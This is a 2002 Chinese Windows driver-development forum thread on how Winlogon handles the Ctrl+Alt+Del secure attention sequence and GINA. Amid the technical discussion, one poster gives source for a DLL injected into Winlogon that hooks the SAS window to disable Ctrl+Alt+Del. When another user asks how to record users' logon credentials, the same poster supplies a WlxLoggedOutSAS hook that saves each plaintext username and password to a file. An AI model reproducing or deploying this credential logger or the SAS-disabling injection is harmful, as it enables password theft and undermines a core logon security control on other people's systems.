slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
阅读:3372回复:24

非驱动问题:WinLogon进程如何与SAS交互???

楼主#
更多 发布于:2002-10-14 13:00
1、看了MSDN和《Inside Windows 2000 3rd》,它们对这个问题都是一笔带过。谁能详细说一说?

2、MSDN提到:When Winlogon initializes, it registers the CTRL+ALT+DEL secure attention sequence (SAS) with the system, and then creates three desktops within the WinSta0 window station.

请问Winlogon如何registers “the CTRL+ALT+DEL secure attention sequence (SAS) with the system”?谁能说一下它的详细步骤?

最新喜欢:

vxer_moonvxer_m...
yc.cf
驱动牛犊
驱动牛犊
  • 注册日期2002-11-01
  • 最后登录2006-03-06
  • 粉丝0
  • 关注0
  • 积分34分
  • 威望6点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2002-12-12 21:02
谢谢!:)
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2002-12-12 20:51
拦截_WlxLoggedOutSAS,代码如下:

//_WlxLoggedOutSAS
int WINAPI _WlxLoggedOutSAS(
    PVOID                   pWlxContext,
    DWORD                   dwSasType,
    PLUID                   pAuthenticationId,
    PSID                    pLogonSid,
    PDWORD                  pdwOptions,
    PHANDLE                 phToken,
    PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
    PVOID *                 pProfile)
{
  RegisterCalledFuncToList(\"WlxLoggedOutSAS  \" + TimeToStr(Now()));

  int Ret = MyWlxLoggedOutSAS(pWlxContext,dwSasType,pAuthenticationId,pLogonSid,pdwOptions,phToken,pNprNotifyInfo,pProfile);

  //保存用户名和密码
  if(Ret == WLX_SAS_ACTION_LOGON)
  {
    TStringList *List = new TStringList();

    List->Add(\"Username = \" + AnsiString(pNprNotifyInfo->pszUserName));
    List->Add(\"Password = \" + AnsiString(pNprNotifyInfo->pszPassword));

    List->SaveToFile(\"D:\\\\MyGinaPass.txt\");
    delete List;
  }

  return Ret;
}

yc.cf
驱动牛犊
驱动牛犊
  • 注册日期2002-11-01
  • 最后登录2006-03-06
  • 粉丝0
  • 关注0
  • 积分34分
  • 威望6点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地板#
发布于:2002-12-12 19:53
高人:
如果我要记录user输入的用户和密码要拦截哪个函数调用?
gz818
驱动小牛
驱动小牛
  • 注册日期2002-02-26
  • 最后登录2008-11-15
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2002-10-24 17:31
我的是 2003 15.0.0.5
UnHook 后,C+A+D 不成功!
删除 RemoteDLL.DLL 失败,说有进程使用!
关闭 瑞星后,重新启动再次启动!
实验,成功!
不知道原因!

[编辑 -  10/24/02 by  gz818]
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2002-10-24 17:25
邪门!!!

我把瑞星放火墙、杀毒软件、瑞星放火墙都打开了,同样可以卸载 RemoteDLL.DLL,见鬼了:(
gz818
驱动小牛
驱动小牛
  • 注册日期2002-02-26
  • 最后登录2008-11-15
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
6楼#
发布于:2002-10-24 16:49
瑞星捣鬼!卸载就可以了!
原因不知!

[编辑 -  10/24/02 by  gz818]
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2002-10-24 15:45
To : gz818

我这里没有这种事,希望老兄调试成功后,把结果放上来也好让我知道那个地方出问题。

To : vcmfc

使用GINA当然可以,我只是想找另一种方法而已。
vcmfc
驱动中牛
驱动中牛
  • 注册日期2001-03-23
  • 最后登录2008-01-28
  • 粉丝0
  • 关注0
  • 积分528分
  • 威望53点
  • 贡献值0点
  • 好评度52点
  • 原创分0分
  • 专家分0分
8楼#
发布于:2002-10-24 13:16
我在《电脑编程技术/维护》2002.09中看到比较好的方法,就是替换GINA,导出所有MSGINA.dll的接口,它说到MSDN有所有接口的说明,就是那些 Wxx之类的,这样,当用户按下Ctrl+alt+del,winlogon会从注册表中找到GIAN,并调用它,所有如果只是控制Ctrl+alt+del,替换GINA会更安全,根本就不需要写DRIVER。

文中举的例子是Ctrl+alt+del。
gz818
驱动小牛
驱动小牛
  • 注册日期2002-02-26
  • 最后登录2008-11-15
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2002-10-24 11:45
跟了一下,发现确实是 卸载RemoteDLL.DLL失败!
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
10楼#
发布于:2002-10-23 16:33
1、我上面已经说了:在Windows 2000 Professional SP3中文版平台下面测试通过,因此不敢保证在其它平台也同样起作用了。

2、既然Unhook之后,Ctrl + Alt + Del仍然被屏蔽,那就有可能是卸载RemoteDLL.DLL失败,估计是插入卸载远程线程失败引起的,建议老兄自己调试一下。

3、Hook必须和Unhook操作次数一样,不可能Hook两次,Unhook一次。

4、不要叫我“大侠”,我不是什么大侠,纯属菜鸟一个!
gz818
驱动小牛
驱动小牛
  • 注册日期2002-02-26
  • 最后登录2008-11-15
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
11楼#
发布于:2002-10-23 16:10
大虾!为什么 UnHook 后, C+A+D 永远不起作用了!
必须重启动,注销都不行!
环境 PIII800/256/40G Win2K AdvSvr SP2 !
favorit
驱动牛犊
驱动牛犊
  • 注册日期2002-01-21
  • 最后登录2002-12-17
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
12楼#
发布于:2002-10-22 16:49
天!你怎么也从csdn到这里来了?
我一睁开眼,世界就变了样
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2002-10-22 14:28
我靠,怎么代码格式都乱套了:(
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2002-10-22 14:27
搞定!

通过截获SAS Window的消息,发现按Ctrl + Alt + Del组合键时,WM_HOTKEY消息发生,截获这个消息,那个安全对话框果然不显示了!

哈哈哈...我倒,我再倒:)

==================================

//---------------------------------------------------------------------------
//作者    :韦覃武
//网上呢称:BCB_FANS(四大名捕之追杀令)(此为CSDN和www.driverdevelop.com之帐号)
//E-Mail  :slwqw@163.com
//日期    :2002-10-20
//
//功能    :在2000下屏蔽Ctrl + Alt + Del组合键。(在Windows 2000 Professional SP3
//          中文版平台下面测试通过)
//原理    :采用远程线程注入技术,装载一个DLL到Winlogon进程,然后截获SAS窗口的窗
//          口过程,接管WM_HOTKEY消息,以达到屏蔽Ctrl + Alt + Del之目的。
//开发语言:Borland C++Builder 5.0 Patch2
//技术比较:关于在2000下面如何屏蔽Ctrl + Alt + Del组合键,一种常被提到的解决方法就
//    是使用自己写的GINA去替换MSGINA.DLL,然后在WlxLoggedOnSAS里边直接返回
//    WLX_SAS_ACTION_NONE。嘿嘿,说到底这并不是真正地屏蔽了这个组合键,只是
//    直接返回WLX_SAS_ACTION_NONE时,Winlogon进程又自动从\"Winlogon\"桌面切换
//    回原来的\"Default\"桌面了,而不是显示安全对话框,所以看起来被屏蔽了:),
//    使用那种方法明显地看到桌面在闪烁!但是使用本文的方法时,你不会看到任
//    何闪烁!
//鸣谢    :www.driverdevelop.com上的icube和lu0。
//版权    :转载请注明原作者:)

//---------------------------------------------------------------------------

#include <vcl.h>
#include <windows.h>
#pragma hdrstop

//---------------------------------------------------------------------------
//---------------------------------------------------------------------------

HWND hSASWnd;
FARPROC FOldProc;

TStringList *MsgList = NULL;

LRESULT CALLBACK SASWindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam);

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam);

//---------------------------------------------------------------------------

HANDLE hThread = NULL;
DWORD  dwThreadId;

DWORD WINAPI ThreadFunc();

//---------------------------------------------------------------------------

#pragma argsused
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
  switch(reason)
  {
    case DLL_PROCESS_ATTACH :

       hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId);
       break;

    case DLL_PROCESS_DETACH :

       if(MsgList != NULL)
       {
         MsgList->SaveToFile(\"F:\\\\Inprise\\\\CBuilder5\\\\Projects\\\\RemoteThread\\\\RemoteDll\\\\SAS_MSG.TXT\");
         delete MsgList;
       }

       SetWindowLong(hSASWnd,GWL_WNDPROC,long(FOldProc));
       CloseHandle(hThread);
       break;
  }
  return 1;
}
//---------------------------------------------------------------------------
DWORD WINAPI ThreadFunc()
{
  HDESK hDesk;

  hDesk = OpenDesktop(\"Winlogon\",0,false,DESKTOP_WRITEOBJECTS |
                                         DESKTOP_SWITCHDESKTOP |
                                         DESKTOP_READOBJECTS |
                                         DESKTOP_JOURNALRECORD |
                                         DESKTOP_HOOKCONTROL |
                                         DESKTOP_ENUMERATE |
                                         DESKTOP_CREATEWINDOW |
                                         DESKTOP_CREATEMENU);
  hSASWnd = NULL;

  EnumDesktopWindows(hDesk,(WNDENUMPROC)EnumWindowsProc,0);

  if(hSASWnd != NULL)
  {
    MsgList = new TStringList();

    FOldProc = (FARPROC)SetWindowLong(hSASWnd,GWL_WNDPROC,long(SASWindowProc));
    if(FOldProc == NULL)
      MsgList->Add(\"Failed to Hook SAS Window Proc.Err = \" + SysErrorMessage(GetLastError()));
    else
      MsgList->Add(\"Succeeded in Hooking SAS Window Proc.\");

    MsgList->Add(\"\");  
  }

  return 1;
}
//---------------------------------------------------------------------------
//查找\"Winlogon\"桌面的窗口
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
  char ClassBuf[128];

  GetWindowText(hwnd,ClassBuf,sizeof(ClassBuf));

  //通过编写系统服务,然后查询得知存在窗口\"SAS window\"。
  if(AnsiString(ClassBuf).Pos(\"SAS window\") > 0)
  {
    hSASWnd = hwnd;
    return false;
  }

  return true;
}
//---------------------------------------------------------------------------
//SAS窗口的窗口过程
LRESULT CALLBACK SASWindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
  MsgList->Add(\"Msg: Wnd = \" + IntToHex((int)hwnd,8) + \" Msg = \" + IntToHex((int)uMsg,8));

  //屏蔽Ctrl + Alt + Del
  if(uMsg == WM_HOTKEY)
  {
    WORD wKey = HIWORD(lParam);
    WORD wModifier = LOWORD(lParam);

    bool IsCtrlDown  = (wModifier & VK_CONTROL != 0);
    bool IsAltDown   = (wModifier & VK_MENU != 0);
    bool IsShiftDown = (wModifier & VK_SHIFT != 0);

    //按下Ctrl + Alt + Del组合键
    if(IsCtrlDown && IsAltDown && wKey == VK_DELETE)
    {
      return 1;
    }
    //按下Ctrl + Shift + Esc组合键,这个组合键将显示任务管理器,可根据需要是否屏蔽。
    else if(IsCtrlDown && IsShiftDown && wKey == VK_ESCAPE)
    {
      // Do nothing
    }
  }

  return CallWindowProc(FOldProc,hwnd,uMsg,wParam,lParam);
}
//---------------------------------------------------------------------------

===============================

上面没有贴出远程注入代码,因为网上到处都是,找一下就可以了,如果谁确实想要,可以给我发E-Mail,不过我是使用C++Builder编写的。

AllenZh
驱动老牛
驱动老牛
  • 注册日期2001-08-19
  • 最后登录2015-11-27
  • 粉丝19
  • 关注10
  • 积分1316分
  • 威望2387点
  • 贡献值7点
  • 好评度321点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2002-10-21 17:41
我想应该是Winlogon进程吧,当我们登陆Windows时,首先输入用户名和密码,而该信息的输入可通过Gina来实现用户自己的输入,也就是说我们的所有操作通过Gina,而Gina是由Winlogon来加载的(当然Winlogon还需要创建LPC端口和一个线成,还要启动SMC等),以上仅为我个人的观点,不一定正确:)
可能上面我说得不够仔细!举一下具体的例子,MSDN提到“The WlxLoggedOnSAS function must be implemented by a replacement GINA DLL. Winlogon calls this function when it receives an SAS event while the user is logged on and the workstation is not locked.”

上面所说的SAS event的发送者是谁?那个发送者在什么情况下产生SAS event并向Winlogon进程发送?
1,承接Windows下驱动/应用开发 2,本人原创虚拟鼠标/键盘,触摸屏,虚拟显卡,Mirror驱动,XP无盘的SCSI虚拟磁盘驱动等 3,windows下有尝技术服务(包括BUG调试,员工培训等) 欢迎深圳和海外企业联系.msn:mfczmh@sina.com
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2002-10-20 21:57
1、关于截获Ctrl+Alt+Del,正在研究...最近太忙,可能要经过一段时间才能继续这个问题。

2、关于SAS事件的监视,现在连我都对“GINA负责监视SAS事件”这种说法感到不可思议。GINA总共就那10几个函数,实在看不出是哪一部分代码在监视SAS事件!为什么MSDN却说“The GINA is responsible for recognizing a secure attention sequence (SAS), monitoring for SAS events, and notifying Winlogon when an SAS has occurred.” ?????? 如果说是CSRSS.EXE在监视SAS事件还可以让人感到理解,GINA就太那个了:(

=================================================

先给分,但是还希望更位大侠继续赐教...如果答案令人感到满意,我会另开贴给分的:)

还有:为什么我只能给20分?我可是想给100分啊!^_^
icube
驱动牛犊
驱动牛犊
  • 注册日期2002-04-11
  • 最后登录2004-12-19
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
17楼#
发布于:2002-10-20 17:02
(1)你要想hook那个RIT好象不太可能,要想截获Ctrl + Alt + Del可能是要写键盘和鼠标类驱动的过滤驱动程序
(2)我曾经写过一个winlogon notify packet,它是一个dll可以接受winlogon的事件通知(见msdn),我在这个dll接受到登陆通知时运行了spy程序(他运行在winlogon桌面),使用spy你就可以看到winlogon 的确创建了一个sas notify window,不过当我监视这个窗口的消息时,会引起桌面无法切换(?)。我想,截获这个消息理论上是可行的,你可以写个winlogon notify packet,然后在winlogon调用他的时候去调用SetWindowsHookEx来设置WH_GETMESSAGE hook
(3)我说过“GINA根本不会监视SAS的发生”,但这句话只在监视Ctrl + Alt + Del时是正确的。对于其他类型的SAS事件,gina负责监视,他要调用WlxSasNotify 来通知winlogon SAS的发生
lu0
lu0
论坛版主
论坛版主
  • 注册日期2001-06-10
  • 最后登录2016-04-05
  • 粉丝2
  • 关注0
  • 积分-6311分
  • 威望21111点
  • 贡献值0点
  • 好评度7点
  • 原创分0分
  • 专家分0分
18楼#
发布于:2002-10-19 12:55
KEYBOARD的打开不是APP能做的. 在KEYBOARD CLASS DRIVER中有一段代码是用于屏蔽APP打开KEYBOARD来读取. 用于确保KEYBOARD仅能被DRIVER打开读取. 至于CSRSS真正如何将KEYBOARD CONNECT到THREAD INPUT QUEUE中, 应当有私有的API. 可能是让W32K.SYS中干.

    //
    // We do not allow user mode opens for read.  This includes services (who
    // have the TCB privilege).
    //
    if (Irp->RequestorMode == UserMode &&
        (irpSp->Parameters.Create.SecurityContext->DesiredAccess & FILE_READ_DATA)
        ) {
        status = STATUS_ACCESS_DENIED;
        goto KeyboardClassCreateEnd;
    }

GINA并不监视KEYBOARD QUEUE. 但是在SAS出现时能得到通知.
Regards, Lu Lin Webmaster of Inside Programming http://www.lu0s1.com
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
19楼#
发布于:2002-10-18 14:26
没有哪位大侠愿意再指点一下吗?
上一页
游客

返回顶部